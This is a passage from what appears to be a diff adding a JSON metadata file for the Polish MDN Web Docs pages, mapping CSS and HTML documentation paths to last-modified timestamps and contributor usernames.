+ "teoli",
+ "SphinxKnight",
+ "Witia",
+ "ethertank",
+ "Sennin",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/background-origin": {
+ "modified": "2019-03-23T23:53:08.644Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Witia"
+ ]
+ },
+ "Web/CSS/background-position": {
+ "modified": "2019-03-23T23:52:26.514Z",
+ "contributors": [
+ "mrstork",
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/background-size": {
+ "modified": "2020-10-15T22:05:20.506Z",
+ "contributors": [
+ "krzmaciek"
+ ]
+ },
+ "Web/CSS/border": {
+ "modified": "2019-03-24T00:08:45.150Z",
+ "contributors": [
+ "wbamberg",
+ "Sebastianz",
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-bottom": {
+ "modified": "2019-03-24T00:08:42.492Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Witia",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/border-bottom-color": {
+ "modified": "2019-03-24T00:08:41.085Z",
+ "contributors": [
+ "wbamberg",
+ "Sebastianz",
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Witia",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/border-bottom-left-radius": {
+ "modified": "2019-03-24T00:13:32.442Z",
+ "contributors": [
+ "teoli",
+ "FredB",
+ "Yuichiro",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-bottom-right-radius": {
+ "modified": "2019-03-23T22:00:34.638Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-bottom-style": {
+ "modified": "2019-03-23T23:07:16.600Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/border-bottom-width": {
+ "modified": "2019-04-09T10:53:28.059Z",
+ "contributors": [
+ "kamilpikula",
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Witia",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/border-collapse": {
+ "modified": "2019-03-23T23:52:40.166Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Witia",
+ "Ptak82",
+ "Mgjbot",
+ "Godlark"
+ ]
+ },
+ "Web/CSS/border-color": {
+ "modified": "2019-03-24T00:08:39.388Z",
+ "contributors": [
+ "wbamberg",
+ "Sebastianz",
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Mgjbot",
+ "Bedi",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-left": {
+ "modified": "2019-03-24T00:08:40.071Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-left-color": {
+ "modified": "2019-03-24T00:08:42.040Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Peyn",
+ "Bedi",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/border-left-style": {
+ "modified": "2019-01-16T14:12:55.502Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/border-left-width": {
+ "modified": "2019-01-16T15:56:40.902Z",
+ "contributors": [
+ "teoli",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/border-radius": {
+ "modified": "2019-03-24T00:08:41.749Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-right": {
+ "modified": "2019-03-24T00:08:37.527Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-right-color": {
+ "modified": "2019-01-17T10:27:47.472Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi"
+ ]
+ },
+ "Web/CSS/border-right-style": {
+ "modified": "2019-01-16T14:13:03.482Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/border-right-width": {
+ "modified": "2019-01-16T14:12:36.775Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/border-spacing": {
+ "modified": "2019-03-23T23:52:36.355Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Witia",
+ "Ptak82",
+ "Mgjbot",
+ "Peyn",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/border-style": {
+ "modified": "2020-05-16T15:18:40.832Z",
+ "contributors": [
+ "filip-rybczynski",
+ "wbamberg",
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Mgjbot",
+ "Diablownik",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-top": {
+ "modified": "2019-03-24T00:08:37.828Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "Yuichiro",
+ "Witia",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/border-top-color": {
+ "modified": "2019-03-24T00:08:37.915Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Ptak82",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/border-top-left-radius": {
+ "modified": "2019-03-24T00:13:33.183Z",
+ "contributors": [
+ "teoli",
+ "FredB",
+ "Yuichiro",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-top-right-radius": {
+ "modified": "2019-03-24T00:13:34.878Z",
+ "contributors": [
+ "teoli",
+ "FredB",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/border-top-style": {
+ "modified": "2019-01-16T14:13:03.908Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Killerowski",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/border-top-width": {
+ "modified": "2019-01-16T14:12:55.405Z",
+ "contributors": [
+ "teoli",
+ "Yuichiro",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/border-width": {
+ "modified": "2019-03-24T00:08:40.511Z",
+ "contributors": [
+ "wbamberg",
+ "mrstork",
+ "teoli",
+ "Yuichiro",
+ "Witia",
+ "Mgjbot",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/bottom": {
+ "modified": "2019-03-23T23:52:36.650Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/box-decoration-break": {
+ "modified": "2019-03-23T22:46:10.684Z",
+ "contributors": [
+ "teoli"
+ ]
+ },
+ "Web/CSS/box-direction": {
+ "modified": "2019-03-23T23:45:19.080Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/box-shadow": {
+ "modified": "2019-03-23T23:02:53.881Z",
+ "contributors": [
+ "Saganowsky",
+ "Sebastianz",
+ "Prinz_Rana",
+ "JJay"
+ ]
+ },
+ "Web/CSS/box-sizing": {
+ "modified": "2019-03-23T23:45:18.849Z",
+ "contributors": [
+ "zly",
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/clear": {
+ "modified": "2019-03-23T23:52:37.948Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Witia",
+ "Tomekperlak",
+ "Ptak82",
+ "Earthcitizen",
+ "Rev",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/clip": {
+ "modified": "2019-03-23T23:52:26.202Z",
+ "contributors": [
+ "wbamberg",
+ "mrstork",
+ "teoli",
+ "Witia",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/color": {
+ "modified": "2019-01-16T15:32:14.428Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia",
+ "Elwiz",
+ "Killerowski",
+ "Bedi"
+ ]
+ },
+ "Web/CSS/content": {
+ "modified": "2019-03-23T23:52:52.547Z",
+ "contributors": [
+ "wbamberg",
+ "Guillaume-Heras",
+ "mrstork",
+ "malayaleecoder",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/counter-increment": {
+ "modified": "2019-03-18T21:16:08.292Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/counter-reset": {
+ "modified": "2019-03-23T23:52:36.024Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/cursor": {
+ "modified": "2019-03-23T23:52:40.510Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Ptak82",
+ "Witia",
+ "Mgjbot",
+ "Rev"
+ ]
+ },
+ "Web/CSS/cursor/Użycie_wartości_URL_dla_własności_cursor": {
+ "modified": "2019-03-23T23:44:57.406Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "gandalf",
+ "Dria"
+ ]
+ },
+ "Web/CSS/direction": {
+ "modified": "2019-01-17T08:07:54.772Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/display": {
+ "modified": "2019-03-23T23:36:34.292Z",
+ "contributors": [
+ "wbamberg",
+ "mlewand",
+ "teoli",
+ "Witia",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/empty-cells": {
+ "modified": "2019-03-23T23:52:53.684Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/float": {
+ "modified": "2019-03-23T23:52:54.130Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/font": {
+ "modified": "2019-03-23T23:53:26.482Z",
+ "contributors": [
+ "wbamberg",
+ "emce",
+ "teoli",
+ "Mgjbot",
+ "Witia",
+ "Diablownik"
+ ]
+ },
+ "Web/CSS/font-family": {
+ "modified": "2019-03-23T23:52:40.043Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/CSS/font-size": {
+ "modified": "2020-10-15T21:15:42.947Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "splewako",
+ "Acrobot",
+ "Witia",
+ "Mgjbot",
+ "Killerowski"
+ ]
+ },
+ "Web/CSS/font-size-adjust": {
+ "modified": "2019-03-23T23:52:53.150Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/font-stretch": {
+ "modified": "2019-03-24T00:00:16.636Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Gompka",
+ "Witia"
+ ]
+ },
+ "Web/CSS/font-style": {
+ "modified": "2019-03-23T23:54:11.416Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/font-variant": {
+ "modified": "2019-03-23T23:54:14.120Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/font-weight": {
+ "modified": "2019-03-23T23:54:14.828Z",
+ "contributors": [
+ "SphinxKnight",
+ "fscholz",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/grid": {
+ "modified": "2020-11-09T10:13:26.650Z",
+ "contributors": [
+ "Miszau"
+ ]
+ },
+ "Web/CSS/height": {
+ "modified": "2019-03-23T23:54:00.860Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/ime-mode": {
+ "modified": "2019-03-24T00:00:40.496Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/initial": {
+ "modified": "2019-03-23T22:25:07.597Z",
+ "contributors": [
+ "Miras"
+ ]
+ },
+ "Web/CSS/letter-spacing": {
+ "modified": "2019-03-24T00:13:38.740Z",
+ "contributors": [
+ "wbamberg",
+ "Jakubem",
+ "mrstork",
+ "fscholz",
+ "teoli",
+ "FredB",
+ "Witia"
+ ]
+ },
+ "Web/CSS/list-style-image": {
+ "modified": "2019-03-18T21:16:09.927Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82",
+ "PablO"
+ ]
+ },
+ "Web/CSS/list-style-position": {
+ "modified": "2019-03-23T23:52:40.630Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82",
+ "PablO"
+ ]
+ },
+ "Web/CSS/list-style-type": {
+ "modified": "2019-03-23T23:52:39.653Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Witia",
+ "ethertank",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik",
+ "KrucaFuks",
+ "PablO"
+ ]
+ },
+ "Web/CSS/opacity": {
+ "modified": "2019-03-24T00:11:58.397Z",
+ "contributors": [
+ "teoli",
+ "gsc"
+ ]
+ },
+ "Web/CSS/outline": {
+ "modified": "2019-03-24T00:13:39.485Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "FredB",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/outline-offset": {
+ "modified": "2019-03-24T00:13:39.168Z",
+ "contributors": [
+ "teoli",
+ "FredB",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/page-break-after": {
+ "modified": "2019-03-24T00:13:40.804Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "ethertank",
+ "yecril71pl"
+ ]
+ },
+ "Web/CSS/right": {
+ "modified": "2020-10-15T22:20:49.762Z",
+ "contributors": [
+ "miaumere"
+ ]
+ },
+ "Web/CSS/text-transform": {
+ "modified": "2019-03-23T23:53:56.581Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/CSS/transform-function": {
+ "modified": "2019-03-23T22:13:49.043Z",
+ "contributors": [
+ "draccicgeb"
+ ]
+ },
+ "Web/CSS/transform-function/matrix()": {
+ "modified": "2020-11-16T09:00:02.174Z",
+ "contributors": [
+ "chrisdavidmills",
+ "drm404"
+ ]
+ },
+ "Web/CSS/vertical-align": {
+ "modified": "2019-01-16T15:39:06.888Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Diablownik",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/CSS/white-space": {
+ "modified": "2019-03-23T23:54:00.593Z",
+ "contributors": [
+ "wbamberg",
+ "fscholz",
+ "teoli",
+ "SphinxKnight",
+ "Witia",
+ "FredB"
+ ]
+ },
+ "Web/CSS/width": {
+ "modified": "2020-10-15T22:10:57.316Z",
+ "contributors": [
+ "krezka",
+ "SphinxKnight",
+ "alien8923"
+ ]
+ },
+ "Web/CSS/word-spacing": {
+ "modified": "2019-03-24T00:13:45.112Z",
+ "contributors": [
+ "wbamberg",
+ "mrstork",
+ "fscholz",
+ "teoli",
+ "FredB",
+ "Witia"
+ ]
+ },
+ "Web/CSS/z-index": {
+ "modified": "2020-10-15T21:15:56.356Z",
+ "contributors": [
+ "kamilpikula",
+ "teoli",
+ "Witia",
+ "Bedi",
+ "Ptak82",
+ "Mgjbot"
+ ]
+ },
+ "Web/Dostępność": {
+ "modified": "2019-09-09T14:17:31.130Z",
+ "contributors": [
+ "SphinxKnight",
+ "rokthe888",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "gandalf",
+ "Marcoos",
+ "Dria"
+ ]
+ },
+ "Web/Dostępność/An_overview_of_accessible_web_applications_and_widgets": {
+ "modified": "2019-03-18T21:27:40.893Z",
+ "contributors": [
+ "lukasz-otowski"
+ ]
+ },
+ "Web/Dostępność/Keyboard-navigable_JavaScript_widgets": {
+ "modified": "2019-11-11T08:36:35.618Z",
+ "contributors": [
+ "kamilbusko"
+ ]
+ },
+ "Web/EXSLT": {
+ "modified": "2019-01-16T15:40:19.089Z",
+ "contributors": [
+ "ExE-Boss",
+ "Flaneur",
+ "Ptak82",
+ "Ementos"
+ ]
+ },
+ "Web/Guide": {
+ "modified": "2019-03-23T23:26:00.482Z",
+ "contributors": [
+ "asbud",
+ "teoli",
+ "eswues",
+ "fejkfix",
+ "splewako",
+ "Sheppy"
+ ]
+ },
+ "Web/Guide/AJAX": {
+ "modified": "2019-01-16T14:36:25.111Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Zwierz",
+ "Mgjbot",
+ "Ptak82",
+ "Staszyna",
+ "gandalf",
+ "Dria",
+ "Anonymous"
+ ]
+ },
+ "Web/Guide/AJAX/Na_początek": {
+ "modified": "2019-03-23T23:54:17.192Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Mgjbot",
+ "Koder",
+ "Witekg",
+ "Ptak82",
+ "Taken",
+ "Staszyna",
+ "gandalf",
+ "Takenbot",
+ "Zwierz",
+ "Diskostu",
+ "Anonymous"
+ ]
+ },
+ "Web/Guide/API": {
+ "modified": "2019-03-23T23:16:39.369Z",
+ "contributors": [
+ "asbud",
+ "Sheppy"
+ ]
+ },
+ "Web/Guide/CSS/Kolumny_CSS3": {
+ "modified": "2019-03-23T23:43:23.375Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Staszyna",
+ "gandalf"
+ ]
+ },
+ "Web/Guide/CSS/Sprawdzanie_media_queries": {
+ "modified": "2019-03-23T23:13:56.266Z",
+ "contributors": [
+ "P0lip"
+ ]
+ },
+ "Web/Guide/Graphics": {
+ "modified": "2019-03-23T23:26:03.623Z",
+ "contributors": [
+ "teoli",
+ "Rokuzo",
+ "splewako",
+ "jswisher"
+ ]
+ },
+ "Web/Guide/HTML/Editable_content": {
+ "modified": "2019-03-23T22:02:03.451Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Web/Guide/Liczniki_CSS": {
+ "modified": "2019-03-23T23:43:40.448Z",
+ "contributors": [
+ "Kuzirashi",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "PablO"
+ ]
+ },
+ "Web/Guide/Performance": {
+ "modified": "2019-03-23T23:11:21.113Z",
+ "contributors": [
+ "Sheppy"
+ ]
+ },
+ "Web/HTML": {
+ "modified": "2019-03-18T20:58:20.320Z",
+ "contributors": [
+ "xd1010",
+ "plx5",
+ "dodekx",
+ "teoli",
+ "ethertank",
+ "DavidWalsh",
+ "Mgjbot",
+ "Ptak82",
+ "Zwierz",
+ "gandalf",
+ "Emil",
+ "Nerf",
+ "Dria",
+ "Anonymous",
+ "Justdave"
+ ]
+ },
+ "Web/HTML(PL)": {
+ "modified": "2020-10-30T23:56:43.120Z",
+ "contributors": [
+ "makabeus",
+ "SphinxKnight",
+ "DoctorLarva",
+ "SaviPrograms"
+ ]
+ },
+ "Web/HTML(PL)/Tryb_Zgodnosci_oraz_Tryb_Standardow": {
+ "modified": "2019-05-22T10:42:54.513Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Web/HTML/Canvas": {
+ "modified": "2019-03-24T00:16:14.952Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "dextra",
+ "fscholz",
+ "Mgjbot",
+ "Bedi",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element": {
+ "modified": "2019-07-03T17:47:56.855Z",
+ "contributors": [
+ "miaumere",
+ "xd1010",
+ "SphinxKnight",
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Chrisraven",
+ "Witia",
+ "PablO",
+ "VooEak",
+ "Sullei"
+ ]
+ },
+ "Web/HTML/Element/Heading_Elements": {
+ "modified": "2020-10-15T22:34:48.886Z",
+ "contributors": [
+ "Martech42"
+ ]
+ },
+ "Web/HTML/Element/Input": {
+ "modified": "2019-03-23T22:58:57.333Z",
+ "contributors": [
+ "pkuczynski"
+ ]
+ },
+ "Web/HTML/Element/Input/button": {
+ "modified": "2020-10-15T22:31:02.305Z",
+ "contributors": [
+ "alanos101198"
+ ]
+ },
+ "Web/HTML/Element/a": {
+ "modified": "2020-10-15T21:11:09.186Z",
+ "contributors": [
+ "DoctorLarva",
+ "teoli",
+ "Ptak82",
+ "Flaneur",
+ "Mgjbot",
+ "Diablownik",
+ "Miczek",
+ "Witia",
+ "Chlopczyk"
+ ]
+ },
+ "Web/HTML/Element/abbr": {
+ "modified": "2020-10-15T21:11:07.075Z",
+ "contributors": [
+ "mweclaw",
+ "DoctorLarva",
+ "teoli",
+ "Ptak82",
+ "Witia",
+ "PablO"
+ ]
+ },
+ "Web/HTML/Element/acronym": {
+ "modified": "2020-10-15T21:18:53.517Z",
+ "contributors": [
+ "DoctorLarva",
+ "teoli",
+ "Witia",
+ "PablO",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/HTML/Element/address": {
+ "modified": "2020-10-15T21:18:19.318Z",
+ "contributors": [
+ "DoctorLarva",
+ "teoli",
+ "Wimmer",
+ "Witia",
+ "PablO",
+ "Ptak82",
+ "Taken"
+ ]
+ },
+ "Web/HTML/Element/applet": {
+ "modified": "2019-01-22T18:16:53.745Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/aside": {
+ "modified": "2019-03-23T22:52:23.279Z",
+ "contributors": [
+ "bzajcev",
+ "Royserg",
+ "buli",
+ "dianafa"
+ ]
+ },
+ "Web/HTML/Element/b": {
+ "modified": "2019-03-24T00:12:35.612Z",
+ "contributors": [
+ "ckyambitny",
+ "piecioshka",
+ "teoli",
+ "DD0101",
+ "Ptak82",
+ "Witia",
+ "PablO"
+ ]
+ },
+ "Web/HTML/Element/base": {
+ "modified": "2020-10-15T21:18:53.027Z",
+ "contributors": [
+ "DoctorLarva",
+ "teoli",
+ "Ptak82",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/basefont": {
+ "modified": "2019-01-22T18:17:17.900Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/bdo": {
+ "modified": "2019-03-18T21:12:41.027Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/bgsound": {
+ "modified": "2019-03-18T21:12:41.505Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/big": {
+ "modified": "2019-03-18T21:12:41.356Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "Witia",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/blink": {
+ "modified": "2019-03-18T21:12:46.854Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "Oskarre",
+ "Witia",
+ "Marcoos",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/blockquote": {
+ "modified": "2019-03-18T21:12:41.202Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "Witia",
+ "Ptak82",
+ "PablO",
+ "VooEak"
+ ]
+ },
+ "Web/HTML/Element/body": {
+ "modified": "2020-10-15T22:04:09.245Z",
+ "contributors": [
+ "DoctorLarva",
+ "TheViolence"
+ ]
+ },
+ "Web/HTML/Element/br": {
+ "modified": "2020-05-17T12:48:05.344Z",
+ "contributors": [
+ "chrisdavidmills",
+ "teoli",
+ "ethertank",
+ "Chrisraven",
+ "Witia",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/center": {
+ "modified": "2019-03-18T21:12:43.021Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/cite": {
+ "modified": "2019-03-18T21:12:43.234Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/code": {
+ "modified": "2019-03-18T21:12:48.188Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "xaky",
+ "Ptak82",
+ "Witia",
+ "PablO"
+ ]
+ },
+ "Web/HTML/Element/comment": {
+ "modified": "2019-03-18T21:12:42.382Z",
+ "contributors": [
+ "mklkj",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/dd": {
+ "modified": "2019-01-22T18:16:58.770Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/details": {
+ "modified": "2019-03-23T22:08:06.664Z",
+ "contributors": [
+ "PawelekS"
+ ]
+ },
+ "Web/HTML/Element/div": {
+ "modified": "2020-10-15T22:05:09.972Z",
+ "contributors": [
+ "Vactraj"
+ ]
+ },
+ "Web/HTML/Element/dl": {
+ "modified": "2019-03-23T23:43:11.633Z",
+ "contributors": [
+ "riren",
+ "teoli",
+ "Witia",
+ "PablO",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/HTML/Element/dt": {
+ "modified": "2019-01-22T18:16:54.805Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/em": {
+ "modified": "2019-01-22T18:16:58.767Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "PablO",
+ "VooEak",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/head": {
+ "modified": "2020-10-15T22:13:05.849Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Web/HTML/Element/hr": {
+ "modified": "2019-03-18T21:12:44.154Z",
+ "contributors": [
+ "mmiszy",
+ "teoli",
+ "Chrisraven",
+ "Witia",
+ "DeyV",
+ "PablO",
+ "VooEak",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/html": {
+ "modified": "2020-10-15T21:18:49.847Z",
+ "contributors": [
+ "DoctorLarva",
+ "teoli",
+ "Witia",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/i": {
+ "modified": "2019-03-18T21:12:48.359Z",
+ "contributors": [
+ "teoli",
+ "lukasz.jezierski",
+ "Ptak82",
+ "Witia",
+ "PablO"
+ ]
+ },
+ "Web/HTML/Element/iframe": {
+ "modified": "2020-10-15T22:25:26.006Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/HTML/Element/kbd": {
+ "modified": "2019-03-18T21:12:41.856Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/li": {
+ "modified": "2019-01-22T18:16:42.410Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/link": {
+ "modified": "2020-10-15T21:16:11.088Z",
+ "contributors": [
+ "DoctorLarva",
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/marquee": {
+ "modified": "2019-03-18T21:12:40.898Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "Witia",
+ "PablO",
+ "Ptak82",
+ "VooEak"
+ ]
+ },
+ "Web/HTML/Element/meta": {
+ "modified": "2020-10-15T22:33:44.945Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Web/HTML/Element/ol": {
+ "modified": "2019-03-18T21:12:42.613Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/p": {
+ "modified": "2019-03-23T23:43:14.955Z",
+ "contributors": [
+ "riren",
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/q": {
+ "modified": "2019-03-18T21:12:43.446Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/ruby": {
+ "modified": "2020-10-15T22:17:22.321Z",
+ "contributors": [
+ "gawronskijakub0"
+ ]
+ },
+ "Web/HTML/Element/s": {
+ "modified": "2019-01-22T18:17:00.050Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Witia",
+ "PablO",
+ "VooEak"
+ ]
+ },
+ "Web/HTML/Element/samp": {
+ "modified": "2019-03-18T21:12:42.806Z",
+ "contributors": [
+ "teoli",
+ "Witia"
+ ]
+ },
+ "Web/HTML/Element/section": {
+ "modified": "2020-10-15T21:57:30.404Z",
+ "contributors": [
+ "0ctothorp",
+ "PaG"
+ ]
+ },
+ "Web/HTML/Element/small": {
+ "modified": "2019-03-18T21:12:40.707Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "PablO",
+ "Ptak82"
+ ]
+ },
+ "Web/HTML/Element/span": {
+ "modified": "2019-03-18T20:55:12.696Z",
+ "contributors": [
+ "makidenio",
+ "xd1010",
+ "teoli",
+ "EURO-DOM"
+ ]
+ },
+ "Web/HTML/Element/strong": {
+ "modified": "2019-03-18T21:12:41.689Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "ethertank",
+ "Ptak82",
+ "PablO",
+ "VooEak"
+ ]
+ },
+ "Web/HTML/Element/title": {
+ "modified": "2020-10-15T22:13:08.106Z",
+ "contributors": [
+ "DoctorLarva"
+ ]
+ },
+ "Web/HTML/Element/tt": {
+ "modified": "2019-03-18T21:12:41.995Z",
+ "contributors": [
+ "teoli",
